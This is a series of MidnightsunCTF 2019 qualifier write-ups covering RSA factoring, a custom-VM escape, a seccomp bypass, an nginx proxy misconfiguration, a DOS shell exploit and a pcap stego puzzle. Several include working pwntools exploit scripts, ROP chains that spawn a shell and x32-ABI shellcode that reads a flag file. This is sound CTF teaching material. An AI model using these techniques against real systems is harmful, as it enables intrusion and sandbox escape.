MidnightsunCTF Quals 2019 - open-gyckel-crypto

2019-04-11T00:00:00+00:00

while True:
    p = next_prime(random.randint(0, 10**500))
    if len(str(p)) != 500:
        continue
    q = Integer(int(str(p)[250:] + str(p)[:250]))
    if q.is_prime():
        break
        

>> p * q
6146024643941503757217715363256725297474582575057128830681803952150464985329239705861504172069973746764596350359462277397739134788481500502387716062571912861345331755396960400668616401300689786263797654804338789112750913548642482662809784602704174564885963722422299918304645125966515910080631257020529794610856299507980828520629245187681653190311198219403188372517508164871722474627810848320169613689716990022730088459821267951447201867517626158744944551445617408339432658443496118067189012595726036261168251749186085493288311314941584653172141498507582033165337666796171940245572657593635107816849481870784366174740265906662098222589242955869775789843661127411493630943226776741646463845546396213149027737171200372484413863565567390083316799725434855960709541328144058411807356607316377373917707720258565704707770352508576366053160404360862976120784192082599228536166245480722359263166146184992593735550019325337524138545418186493193366973466749752806880403086988489013389009843734224502284325825989
>> pow(m, 65537, p * q)
3572030904528013180691184031825875018560018830056027446538585108046374607199842488138228426133620939067295245642162497675548656988031367698701161407333098336631469820625758165691216722102954230039803062571915807926805842311530808555825502457067483266045370081698397234434007948071948000301674260889742505705689105049976374758307610890478956315615270346544731420764623411884522772647227485422185741972880247913540403503772495257290866993158120540920089734332219140638231258380844037266185237491107152677366121632644100162619601924591268704611229987050199163281293994502948372872259033482851597923104208041748275169138684724529347356731689014177146308752441720676090362823472528200449780703866597108548404590800249980122989260948630061847682889941399385098680402067366390334436739269305750501804725143228482932118740926602413362231953728010397307348540059759689560081517028515279382023371274623802620886821099991568528927696544505357451279263250695311793770159474896431625763008081110926072287874375257

If we write $p$ as:

$p = 10^{250}x+y$

with $0\leq x,y<10^{250}$ , then $q$ is obtained by swapping $x$ and $y$ :

$q = 10^{250}y+x$

This means that for $n=pq$ we have:

$n = pq = (10^{250}x+y)(10^{250}y+x) =$ $=10^{500}xy + 10^{250}x^2 + 10^{250}y^2 + xy = (10^{500}+1)xy+10^{250}(x^2+y^2)$

But now $n \equiv 0xy + 10^{250}(x^2+y^2) \mod 10^{500}+1$ or $x^2+y^2 \equiv \frac{n}{10^{250}} \mod 10^{500}+1\,.$ As $10^{250}$ and $10^{500}+1$ are coprime, this is well-defined.

In sage:

sage: R=Zmod(10^500+1)
sage: s = Integer(R(n)*R(10^250)^-1)

But on the other hand, as $x$ and $y$ are less than $10^{250}$ , the sum of their squares must be less than $(10^{250})^2+(10^{250})^2=2\cdot 10^{500}$ . As we already know the residue of $x^2+y^2$ mod $10^{500}+1$ , this means that we only have two possibilities left: $s$ and $s+10^{500}+1$ . It is possible to quite easily exclude the first one: $s$ is divisible by $3$ but not $9$ , which would be in contradiction to the Sum of two squares theorem. Of course, one can also just try both values.

This means that $x^2+y^2$ must be $s+10^{500}+1$ . Using $n=(10^{500}+1)xy+10^{250}(x^2+y^2)$ we now have two equations for two variables. Those can be solved by substituting and solving the resulting biquadratic equation, or just using sage:

sage: x,y=var("x,y")
sage: solve([n==(10^500+1)*x*y+10^250*(x^2+y^2),x^2+y^2==s+10^500+1],(x,y))
[[x == 6704087713997099865507815769768764401477034704508108261256143985284139367993820913412851771729239540206881848078387952673084087851136091482870695733338884807660355569782830813482768223955545908153884900037741101021721778447622913463893844919116113159, y == 9167577910876006891858257597237629440949705918335724259091862313200766026122707397405770653228405765712936180484223756343702067850288957263434298651591281476391443835610092615155677011406076889438184185284410734629391841138106293296764467469014716371], ...]

(symmetric and negative solutions omitted). Now it’s just a matter of recovering $p$ and $q$ and deciphering:

sage: p=10^250*x+y
sage: q=10^250*y+x
sage: p*q==n
True
sage: d=ZZ.quo((p-1)*(q-1))(65537)**-1
sage: m=int(pow(c,d,n))
sage: binascii.a2b_hex(hex(m)[2:-1])
'midnight{w3ll_wh47_d0_y0u_kn0w_7h15_15_4c7u4lly_7h3_w0rld5_l0n6357_fl46_4nd_y0u_f0und_17_50_y0u_5h0uld_b3_pr0ud_0f_y0ur53lf_50_uhmm_60_pr1n7_7h15_0n_4_75h1r7_0r_50m37h1n6_4nd_4m4z3_7h3_p30pl3_4r0und_y0u}\x99\xd3\x84\x00\xdd\x98\xbf\xedv\xe8|\xd3#\x01sR\x83\x9f\xce\x9fHg\xef\xfb\x07\x05\xc7\xd1R4*\xbc\x9e`\x9aW\x10\x0b5\xc0\xc0\xf9\xcc2dD\x00\xd5\x89\xfd2\xd2l\xe3N3\x8bU6}[\x92\xd5\xf5\x0fO\xde-\xf1\xb0\xbe\xaf\xc5\xcfM\xadyo\xd9\xbf\xff\xeci\xd5$\xf99\xde\xad\xaaP{\xfc\xf7\x91 o2\x99M\x9cE\xfe@,\xc0\x8d\x88wU\xb0\x82X\xa2;r\xeaq\x8eV\x05t\x94\xb8\x8c\xba\x90\xf5\xa8\xf9\x17$\x94\xf4:\x11\x9e\xfc\x0b]\x97\xbbMv9\x865f*$\x93r\xf65j\xc0jk\xf0\xab\xd5\t\xb3\xda\x17\xb0~\x05}\xc4@(\xa8\r\x16\x01V\xcdm\x901\x17\x18\xf3\xfd\xd6L\xa7\x13|\xaa\x9d\x1e_\xb4%g/Q+\xff\xc1\xbe\xf1fB#g\xa8\xda\xdd4'

MidnightsunCTF Quals 2019 - hfs-vm (287 pts, 42 solves) and hfs-vm2 (660 pts, 14 solves)

2019-04-11T00:00:00+00:00

hfs-vm:

Write a program in my crappy VM language.

Service: nc hfs-vm-01.play.midnightsunctf.se 4096

Download: hfs-vm.tar.gz

hfs-vm2:

Escape the VM to get a flag.

Service: nc hfs-vm-01.play.midnightsunctf.se 4096

Download: hfs-vm.tar.gz

Analysis

The provided service implements a VM for a custom architecture as well as a ‘kernel’ which the VM process uses to interact with the system.

userspace and kernel

The userspace and the kernel are implemented using two processes; the binary forks on startup and the parent becomes the kernel while the child executes the userspace. They communicate via both a socket pair and a shared memory region.

The kernel process initially resets its stack canary, to get a canary different from that in the userspace process.

The userspace process reads bytecode from the user and implements a simple VM to ‘execute’ the bytecode. Additionally, it enables the strict seccomp mode, which only allows the read, write and exit system calls.

‘system calls’ between the userspace process and the kernel process are implemented using the socket pair and shared memory mentioned above. To enter a system call, the userspace process sends the system call number and arguments over the socket, and reads the return value from the socket. The kernel process on the other hand reads from the socket, then executes the system call, and writes the return value back to the socket. This way, one of the two processes is always blocked reading. Large arguments or return values are passed via the shared memory region: the first two bytes of the region contain the size of the data, followed by the raw data.

Custom VM

As already mentioned above, the userspace process implements a simple VM for a custom architecture. The virtual 16-bit CPU has 16 registers, numbered 0 through 15, with register 14 and 15 doubling as the stack and instruction pointer. The stack has a fixed size of 32 words. Internally, the state of the VM is stored in the following struct on the stack of the userspace process:

struct state_t {
  int fd;
  int pad;
  void *shared_mem;
  uint16_t regs[14];
  uint16_t reg_sp;
  uint16_t reg_pc;
  uint16_t stack[32];
};

The custom architecture executes bytecode with 4 byte long instructions encoding the instruction type and up to two operands. The following instructions are supported:

mov reg, imm, add reg, imm, sub reg, imm, xor reg, imm: move/add/subtract/xor the register reg with the 16-bit immediate value imm and store the result in reg
mov reg, reg, add reg, reg, sub reg, reg, xor reg, reg: move/add/subtract/xor the first register with the second register and store the result in the second register
xchg reg, reg: swap the contents of the two registers
push reg, push imm: push the register / immediate value onto the stack
pop reg: pop a value off the stack and store it in reg
setstack reg, imm, setstack reg, reg: use the value of the register reg as an (absolute) index into the stack; set the stack value at that index to reg/imm
getstack reg, reg: use the value of the first register as an (absolute) index into the stack; store the stack value at that index in the second register
syscall: trigger a system call; the first three registers are passed to the kernel as the syscall number and two arguments
debug: output the values of all registers and the stack

The syscall instruction additionally passes the VM’s stack to the kernel via the shared memory region. When looking at the implementation of these instructions, we notice that push and pop perform bounds checks on the stack, while setstack and getstack don’t!

The First Flag

At this point we can already obtain the first flag by issuing syscall 3, which copies the flag onto the VM’s stack, and then executing the debug instruction.

Flag: midnight{m3_h4bl0_vm}

Exploitation

Because of the strict seccomp mode used by the userspace process, we cannot spawn a shell from that process. We have to use the bug discovered above to gain control of the userspace process, afterwards use another bug in the kernel to escalate further and then spawn a shell.

ROP in the userspace

Using the missing bounds checks mentioned above, we can first leak both the stack canary (of the userspace process) and the base address of the binary (which will be the same in the userspace and kernel processes). After that, we overwrite the stack of the userspace process and execute a ROP chain. Because our previously sent bytecode has to write this chain, we are limited in size. Thus, the first ROP chain will just read some input (the second ROP chain) onto the data segment of the process and pivot the stack there.

# gadgets encoded as tuples
# the first element is the gadget/address
# the second element indicates if the address is relative to the binary's base

# read(0, data + 0xa00, 0xe00)
(pop_rdi, True),
(0, False),
(pop_rsi, True),
(0x203000 + 0xa00, True),
(pop_rdx, True),
(0xe00, False),
(binary.plt.read, True),
# rsp = data + 0xa00
(pop_rsp, True),
(0x203000 + 0xa00, True),

We have to write this first ROP chain using the bytecode executed in the VM, using the getstack and setstack instructions as explained above. Because we have no way to leak the base address of the binary before sending the bytecode, we have to use the bytecode to adjust the addresses of our gadgets.

# generate the bytecode for a given ROP chain
# abbreviations for opcode operands: r = register, s = stack, i = immediate

bc = ''
# set regs 1, 2, 3, 4 to ret addr (4 is not touched, because always zero)
bc += mov_rs(1, 52)
bc += mov_rs(2, 53)
bc += mov_rs(3, 54)
# adjust regs to base addr (subtract offset of return address)
bc += sub_ri(1, 0xe6e)
# debug to leak base addr
bc += p32(0xa)

idx = 52
for val, rel in rop:
    if rel:
        # set regs 5, 6, 7, 8 to val
        bc += mov_ri(5, val & 0xffff)
        bc += mov_ri(6, (val >> 16) & 0xffff)
        bc += mov_ri(7, (val >> 32) & 0xffff)
        bc += mov_ri(8, (val >> 48) & 0xffff)
        # add base addr
        bc += add_rr(5, 1)
        bc += add_rr(6, 2)
        bc += add_rr(7, 3)
        # write to stack
        bc += mov_sr(idx, 5)
        bc += mov_sr(idx + 1, 6)
        bc += mov_sr(idx + 2, 7)
        bc += mov_sr(idx + 3, 8)
    else:
        # write to stack
        bc += mov_si(idx, val & 0xffff)
        bc += mov_si(idx + 1, (val >> 16) & 0xffff)
        bc += mov_si(idx + 2, (val >> 32) & 0xffff)
        bc += mov_si(idx + 3, (val >> 48) & 0xffff)
    idx += 4

For exploiting the kernel, we will need access to the shared memory region, so we use the second ROP chain to leak its address and read a third ROP chain.

# second rop chain to leak shared_mem pointer
rop = ROP(binary)
rop.write(1, binary.address + off_shared_mem, 8)
rop.read(0, binary.address + off_second_chain, 0x500)
rop.raw(binary.address + pop_rsp)
rop.raw(binary.address + off_second_chain)

ROP in the kernel

Now that we have all info we need and the ability to execute an arbitrarily long ROP chain, we can search for a bug in the kernel.

The first bug is obvious when looking at the syscall handler: the shared memory region (which also contains its own size and is fully controlled by userspace) is copied in a fixed-size buffer on the stack, leading to a simple stack buffer overflow. However, there is a stack canary preventing us from exploiting this bug alone.

The second bug is a synchronization issue: right before the kernel returns from a syscall, the stack buffer is copied back into the shared memory region, using the size specified in the shared memory region. That means, if we manage to increase the size while the kernel performs a syscall, we can leak data from the kernel stack! During normal operation one of the two processes always blocks while reading from the socket, but now that we control the userspace, we can trigger a syscall and continue execution in userspace without waiting for the syscall to finish.

At first this sounds like a hard race condition we have to win, until we look at syscall number 4 which, when supplied with a specific argument, sleeps for a total of 4 seconds. That’s more than enough time to increase the size of the shared memory region. The last issue we have is that, to get the correct timing, the userspace process needs to wait too, but sleep (actually nanosleep) is blocked by the seccomp filter. We can still let the userspace process wait by issuing a dummy read from stdin and waiting the correct amount in our exploit script.

So here’s the plan for the third ROP chain: we trigger syscall number 4 and wait a second for the kernel to enter the syscall. Then we overwrite the size of the shared memory region and wait for the kernel to return from the syscall. Now the kernel’s stack canary is stored in the shared memory region, so we print the kernel’s canary to stdout. Our exploit script uses that canary and the info we acquired previously to craft a ROP chain for the kernel. The ROP chain in the userspace continues and reads the ROP chain for the kernel from stdin, into the shared memory region. Finally, it triggers any syscall. The kernel now copies the shared memory region onto its stack, smashing it in the process.

# third rop chain to trigger ROP in kernel
rop = ROP(binary)
rop_data = ''
rop_data_addr = binary.address + off_second_chain + 0x200

def data_sys(num, arg1=0, arg2=0):
    return p8(num) + p16(arg1) + p16(arg2)

# trigger sys_random(4)
rop.write(parent_fd, rop_data_addr, 5)
rop_data += data_sys(4, 4)
# overwrite shared_mem size
rop.read(0, shared_mem, 2)
# dummy read, just for waiting a bit
rop.read(0, shared_mem, 2)
# leak parent stack canary
rop.write(1, shared_mem + 74, 8)
# read rop chain for parent to shared_mem
rop.read(0, shared_mem, 0x1000)
# trigger rop in parent, via sys_ls()
rop.write(parent_fd, rop_data_addr + len(rop_data), 5)
rop_data += data_sys(6)
# exit
rop.exit(0)

The ROP chain executed in the kernel is very simple: since the binary imports system, we can return to it, passing sh as argument (which we can also place in the shared memory), and finally get a shell!

rop = ROP(binary)
# 'sh' is placed at shared_mem + 0x300
rop.system(shared_mem + 0x300)

Flag: midnight{7h3re5_n0_I_iN_VM_bu7_iF_th3r3_w@s_1t_w0uld_b3_VIM}

You can find the full exploit script here.

MidnightsunCTF Quals 2019 - gissa2 (631 pts, 15 solves)

2019-04-11T00:00:00+00:00

Last year some dirty hackers found a way around my guessing challenge, well I patched the issue. Can you guess again?

Service: nc gissa-igen-01.play.midnightsunctf.se 4096

Download: gissa_igen.tar.gz

Analysis

The provided binary first mmaps the flag and then lets us try to guess it. After mapping the flag, the binary also installs a seccomp filter which forbids the system calls open, clone, fork, vfork, execve, creat, openat and execveat.

The length of the buffer our input is read to is stored in the main() function as a uint16_t, but a pointer to this length is passed to the guess_flag() function as a uint32_t *. Right after the buffer length the current number of tries is stored, so when guess_flag() accesses the buffer length, it actually uses both of these values. This has the effect that on our first guess, the buffer length has the correct value of 0x8b, but on the second guess, the buffer length has increased to 0x1008b, which leads to a stack buffer overflow.

Exploit: ROP

No canary is used, so we can easily overwrite the return address. The only problem left before we can execute a ROP chain is that we don’t know the binary’s base address (it’s a PIE). But that’s easily solved: because the binary doesn’t terminate our input string, we can leak the original return address before sending our ROP chain. However, when we gain control of the execution flow, the flag has already been unmapped and its file descriptor closed. There’s no way for us to divert the execution flow before that point, so we have to find a way to bypass the seccomp filter.

ROP to Shellcode

To ease bypassing of the seccomp filter, let’s first set up a ROP chain to get shellcode execution. The ROP chain is pretty straightforward: map some RWX memory at a fixed address, read our next input into it, and jump there.

sc_addr = 0x1337000
rop = rop_call(binary + off_mmap, sc_addr, 0x10000, 7, 0x32, -1, 0)
rop += rop_call(binary + off_read, 0, sc_addr, 0x10000)
rop += p64(sc_addr)

Bypass seccomp Filter

Now that we can execute shellcode, the only thing left is somehow bypassing the seccomp filter in order to read the flag. Here’s the filter used:

 line  CODE  JT   JF      K
=================================
0x20 0x00 0x00 0x00000004  A = arch
0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
0x06 0x00 0x00 0x00000000  return KILL
0x20 0x00 0x00 0x00000000  A = sys_number
0x15 0x00 0x01 0x00000002  if (A != open) goto 0006
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000038  if (A != clone) goto 0008
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0012
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0014
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000055  if (A != creat) goto 0016
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000101  if (A != openat) goto 0018
0x06 0x00 0x00 0x00000000  return KILL
0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0020
0x06 0x00 0x00 0x00000000  return KILL
0x06 0x00 0x00 0x7fff0000  return ALLOW

The filter checks the current architecture, so we cannot bypass it by switching to 32-bit mode However, if we set bit 30 of the syscall number, we can access the ‘x32’ syscall ABI, which provides basically the same system calls and is not blocked by the seccomp filter. Thus, using syscall 0x40000002 instead of 2 for open lets us open and print the flag.

# open(0x1338000, 0, 0) - 0x1338000 contains the path
mov rax, 0x40000002
mov rdi, 0x1338000
mov rsi, 0
mov rdx, 0
syscall

# read(flag, 0x1338000, 0x100)
mov rdi, rax
mov rax, 0
mov rsi, 0x1338000
mov rdx, 0x100
syscall

# write(1, 0x1338000, 0x100)
mov rax, 1
mov rdi, 1
mov rsi, 0x1338000
mov rdx, 0x100
syscall

Flag: midnight{I_kN3w_1_5H0ulD_h4v3_jUst_uS3d_l1B5eCC0mP}

Exploit Code

from pwn import *

context.binary = 'gissa_igen'

shellcode = asm('''
    mov rax, 0x40000002
    mov rdi, 0x1338000
    mov rsi, 0
    mov rdx, 0
    syscall

    mov rdi, rax
    mov rax, 0
    mov rsi, 0x1338000
    mov rdx, 0x100
    syscall

    mov rax, 1
    mov rdi, 1
    mov rsi, 0x1338000
    mov rdx, 0x100
    syscall
''')

g = remote('gissa-igen-01.play.midnightsunctf.se', 4096)

# increase buf_len
g.sendlineafter('flag (', '')
g.recvuntil('try again')

# overwrite buf_len with 168
g.sendlineafter('flag (', 'A' * 140 + p32(168) + p64(0) * 2)

# leak binary addr
g.sendafter('flag (', 'A' * 140 + '\xff\xff' + '\x01\x01' + 'B' * 8 + '\xff' * 8 + 'C' * 8)
g.recvuntil('C' * 8)
binary = u64(g.recvuntil(' is not right', drop=True).ljust(8, '\0')) - 0xbc5
info("binary @ 0x%x", binary)

# ROP to shellcode

def rop_call(func, rdi=0, rsi=0, rdx=0, rcx=0, r8=0, r9=0):
    return flat(binary + 0xc1f, rcx, 0, 0, 0, binary + 0xc1d, rdx, r9, r8, rdi, rsi, func)

sc_addr = 0x1337000
# mmap
rop = rop_call(binary + 0xc0c, sc_addr, 0x10000, 7, 0x32, -1, 0)
# read
rop += rop_call(binary + 0xbd4, 0, sc_addr, 0x10000)
rop += p64(sc_addr)
g.sendlineafter('flag (', 'A' * 168 + rop)

g.sendafter('not right.\n', shellcode.ljust(0x1000, '\0') + '/home/ctf/flag\0')

g.interactive()

MidnightsunCTF Quals 2019 - bigspin

2019-04-11T00:00:00+00:00

bigspin was a challenge for the MidnightsunCTF Quals 2019

On visiting the linked website you get a message, asking if you are a user, admin or uberadmin, or just a usual pleb (all links to identically named subdirectories).

We are all usual plebs

Visiting anything but pleb fails. Visting pleb results in the content of example.com showing on your screen.

With a bit of trial and error it becomes obvious that it’s a reverse proxy for example.com with a missing / after the domain name, making it possible to visit something like /pleb.localhost.localdomain/user.

nginx.cönf

Accessing the directory gives us a directory listing with a single file called nginx.cönf (including a space at the end of the filename).

Just clicking on the file results in a 404, we have to double encode the filename because nginx decodes it first before it’s used in the reverse proxy url. Something like /pleb.localhost.localdomain/user/nginx.c%25C3%25B6nf%2520 works and gives us a copy of the used nginx config:

worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/nginx.pid;
events {
  worker_connections 1024;
}

http {

    # Set an array of temp and cache files options that otherwise defaults to
    # restricted locations accessible only to root.

    client_body_temp_path /tmp/client_body;
    fastcgi_temp_path /tmp/fastcgi_temp;
    proxy_temp_path /tmp/proxy_temp;
    scgi_temp_path /tmp/scgi_temp;
    uwsgi_temp_path /tmp/uwsgi_temp;
    resolver 8.8.8.8 ipv6=off;

    server {
        listen 80;

        location / {
            root /var/www/html/public;
            try_files $uri $uri/index.html $uri/ =404;
        }

        location /user {
            allow 127.0.0.1;
            deny all;
            autoindex on;
            root /var/www/html/;
        }

        location /admin {
            internal;
            autoindex on;
            alias /var/www/html/admin/;
        }

        location /uberadmin {
            allow 0.13.3.7;
            deny all;
            autoindex on;
            alias /var/www/html/uberadmin/;
        }

        location ~ /pleb([/a-zA-Z0-9.:%]+) {
            proxy_pass   http://example.com$1;
        }

        access_log /dev/stdout;
        error_log /dev/stdout;
    }

}

I’m an admin!

We can see that /admin is an internal block, which can’t be accessed directly but since we have control over the reverse proxy URL we can use it to point to a server of our control and add a header like X-Accel-Redirect: /admin/, which instructs nginx to do an internal redirect and delivers us the content as if we’d have been able to access /admin/ directly.

In the admin directory is a flag.txt, but it only tells us that the flag is only for uberadmins.

I lied, I’m really an uberadmin.

Since the location blocks are not terminated with a slash but the alias in the /admin block is terminated we can inject dots to access a higher directory.

Setting the header on our server to X-Accel-Redirect: /admin../uberadmin/flag.txt results in the flag.

Lesson learned: Terminate all paths and URLs with slashes.

MidnightsunCTF Quals 2019 - hfs

2019-04-08T00:00:00+00:00

Stage1: Getting Past The Password Auth (hfs-mbr)

I used IDA in remote debug mode during the CTF, but it was somehow buggy and an overall painful experience for me. Writeup using radare2 (even though, what a surprise, their 16 bit remote debugger seems to be currently kind of broken as well).

r2 -b16 dos.img

At offset 0000:0637 we find the main password loop of the program.

A single character is read, then a check is performed if the character is in the range of [a-z]. If it is, the char is converted into numbers ranging from 0 to 25. Afterwards the number is multiplied by 2 and serves as the index of a jumptable. E.g. depending on the index a different function is called (jmp ax).

We can find the called functions below, starting at 0000:0662. Luckily they were in oder, e.g. the first jumptable function belongs to the character ‘a’, the second to ‘b’, etc.

Most of the functions are dummy ones, effectively doing nothing. But some of them contain some checks, and depending on the outcome a different path is choosen. The 0x7d9 path is the one we don’t want to take. 0x7ce Is the way to go because it increments a counter for the amount of ‘correct chars’ (0x81bb), while the other one just increments the ‘total chars’ (0x81ba). If after 9 input bytes both counters are equal, the password is correct.

So the objective is clear, we have to find the correct order of all jumptable functions.

Effectively all jumptable functions are doing the same, however they are more or less “obfuscated”.

They take the number of ‘total chars’ and xor it with the current input character (xor dl, byte [0x81ba]).
They compare the resulting value with a fixed one, and take the good branch if correct

So I just deobfuscated all functions and noted the value they compare the input with. E.g. the function for char ‘e’ can be seen at 0000:0686.

The first ax assignment is useless because of the follow up xor ax, ax (ax = 0)
6 times adding 0x10 to ax is equal to ax = 0x60
Therefore 0x60 is subtracted from our xored charcode, and if the result is 2 we are good. This equation is fulfilled for xored charcode == 0x62.

I now did this for all functions and wrote a python script to resolve the correct order.

chars = {'e': 0x62, 'j': 0x68, 'n': 0x68, 'o': 0x6e, 'p': 0x74, 'r': 0x7a, 's': 0x73, 'u': 0x76, 'w': 0x72}
pw = ''
n = 0
for _ in range(len(chars)):
    for c in chars:
        if (ord(c) ^ n) == chars[c]:
            pw += c
            n += 1
print(pw)

we get sojupwner, wich leads us to the first flag midnight{w0ah_Sh!t_jU5t_g0t_REALmode} and gives us access to stage2. We are now dropped into a custom written “shell” (COMMAND.COM).

Stage2: Pwning The Shell (hfs-dos)

First of all, I extracted the COMMAND.COM binary out of the raw image.

fdisk -l dos.img

Disk dos.img: 10 MiB, 10485760 bytes, 20480 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device     Boot Start   End Sectors  Size Id Type
dos.img1   *       63 20159   20097  9.8M  1 FAT12

We can see that the FAT12 Filesystem starts at offset 63, and the sector size is 512. Therefore we setup the loop device for an offset of 63*512.

losetup /dev/loop0 dos.img -o 32256

Now we can mount and comfortably read the filesystem.

mount /dev/loop0 /mnt

Extract the COMMAND.COM and throw it into IDA or radare2.

The bug was pretty easy to spot as well, even found it bevore even looking at the disassembly. Deleting a character by using backspace had no lower bounds check. With this we could owerwrite jumptable entries for console commands as they were placed directly above the input buffer. By entering an overwritten command we now could now jump arbitrary.

An other thing I used to exploit is, that the shell reads and prints the flag for stage1 in the beginning. And the Filename of Flag1 was right above us as well. Therefore my attack was as follows:

Overwrite the filename of the first flag (FLAG1) so it becomes FLAG2
Overwrite a jumptable entry of some console command with the address of the “print flag” function.
Trigger by executing the overwritten command (“pong” in my case)

from pwn import *

# setup and stage1
r = remote('hfs-os-01.play.midnightsunctf.se', 31337)
r.recvuntil('MBR]>')
r.sendline('sojupwner')
r.send('ping')
r.recvuntil('PONG')

# actual exploit
r.send('\x7f' * 3 + '2\x0d')
r.send('\x7f' * 11 + struct.pack('<H', 0x14f) + '\x0d')
r.send('pong')
r.interactive()

we get midnight{th4t_was_n0t_4_buG_1t_is_a_fEatuR3}.

MidnightsunCTF Quals 2019 - Dr. Evil

2019-04-08T00:00:00+00:00

Dr. evil was a stego task from the Midnightsun CTF 2019 qualifier

The task gave you a .pcap file and this hint

“We have managed to intercept communications from Dr. Evil’s base but it seems to be encrypted. Can you recover the secret message.”

tl;dr at the end

Finding the flag:

The .pcap contained one TCP/TLS connection and some DNS querys. The DNS querys/responses were all related to the TLS connection and the, in total 16 DNS packets, were easy to go through through manually.

Addresses from DNS querys/responses 3c3db807.ngrok.io A-> 52.15.194.28 AAAA-> 2600:1f16:59e:b200:cd2c:dd37:7e0c:bb3e 53.0.0.127.in-addr.arpa 15.2.0.10.in-addr.arpa 1.92.168.192.in-addr.arpa pwnbox.local router.asus.com

The TLS connection was to (3c3db807.ngrok.io, 52.15.194.28) In the CTF this task had only the label “Network”. I didn’t know anything about ngrok.io, so I checked the website and did a bit googling. It turned out, that ngrok.io is some “I can’t do portforwarding on my router” service and 3c3db807 from 3c3db807.ngrok.io seemed to be the name you have to use at ngrok.

The certificate used for the connection was the one from ngrok. As this was not a crypto task and ngrok was not some fake service just for the ctf I thought that the TLS connection itself was secure.

The Addresses which were found in the .pcap all belong to either some local Network, or AWS (which is used by ngrok). I then checked out the 3c3db807.ngrok.io service on 4 and 6, but it just showed the default ngrok offline/notfound message on port 80/443. “Tunnel kdlsjfs.ngrok.io not found” on ipv6 the portscan showed an open ssh port, but this was also from ngrok, so unrelated to the challenge.

As a last try I checked google and archive.org for 3c3db807.ngrok.io, but this was also without a result

At this point I did not know what else to look for, so I randomly scrolled through wireshark. After a while I thought to notice that the packet sizes were unusual, so I used scapy to print out all the packetsizes as I hoped to find a pattern, which was also without a result.

When playing around with scapy I noticed something

###[ IP ]### 
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 40
  id        = 12160
  flags     = evil <-------------------------
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = 0x4916
  src       = 52.15.194.28
  dst       = 10.0.2.15
  \options   \
###[ TCP ]### 
     sport     = https
     dport     = 56030
     seq       = 932416002
     ack       = 2065585685
     dataofs   = 5
     reserved  = 0
     flags     = A
     window    = 65535
     chksum    = 0x3e37
     urgptr    = 0
     options   = []
###[ Padding ]### 
        load      = '\x00\x00\x00\x00\x00\x00'

flags = evil

evil like the name of the task.

when listing all the evil flags from all packets from the host “52.15.194.28” as 1/0 it gives this pattern:

0100110001100001011001000110100101100101011100110010000001100001011011100110010000100000011001110110010101101110011101000110110001100101011011010110010101101110001011000010000001110111011001010110110001100011011011110110110101100101001000000111010001101111001000000110110101111001001000000111010101101110011001000110010101110010011001110111001001101111011101010110111001100100001000000110110001100001011010010111001000101110001000000100100100100000011010000110000101110110011001010010000001100111011000010111010001101000011001010111001001100101011001000010000001101000011001010111001001100101001000000110001001100101011001100110111101110010011001010010000001101101011001010010000001110100011010000110010100100000011101110110111101110010011011000110010000100111011100110010000001100100011001010110000101100100011011000110100101100101011100110111010000100000011000010111001101110011011000010111001101110011011010010110111001110011001011100010000001000001011011100110010000100000011110010110010101110100001011000010000001100101011000010110001101101000001000000110111101100110001000000111100101101111011101010010000001101000011000010111001100100000011001100110000101101001011011000110010101100100001000000111010001101111001000000110101101101001011011000110110000100000010000010111010101110011011101000110100101101110001000000101000001101111011101110110010101110010011100110010000001100001011011100110010000100000011100110111010101100010011011010110100101110100001000000111010001101000011001010010000001100110011011000110000101100111001000000010001001101101011010010110010001101110011010010110011101101000011101000111101100110001010111110100110101101001011011000110110001101001001100000110111001011111011001010111011001101001011011000101111101100010001100010111010001111010001000010111110100100010001011100010000001010100011010000110000101110100001000000110110101100001011010110110010101110011001000000110110101100101001000000110000101101110011001110111001001111001001011100010000001000001011011100110010000100000011101110110100001100101011011100010000001000100011100100010111000100000010001010111011001101001011011000010000001100111011001010111010001110011001000000110000101101110011001110111001001111001001011000010000001001101011100100010111000100000010000100110100101100111011001110110110001100101011100110111011101101111011100100111010001101000001000000110011101100101011101000111001100100000011101010111000001110011011001010111010000101110001000000100000101101110011001000010000001110111011010000110010101101110001000000100110101110010001011100010000001000010011010010110011101100111011011000110010101110011011101110110111101110010011101000110100000100000011001110110010101110100011100110010000001110101011100000111001101100101011101000010110000100000011100000110010101101111011100000110110001100101001000000100010001001001010001010010000100100001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

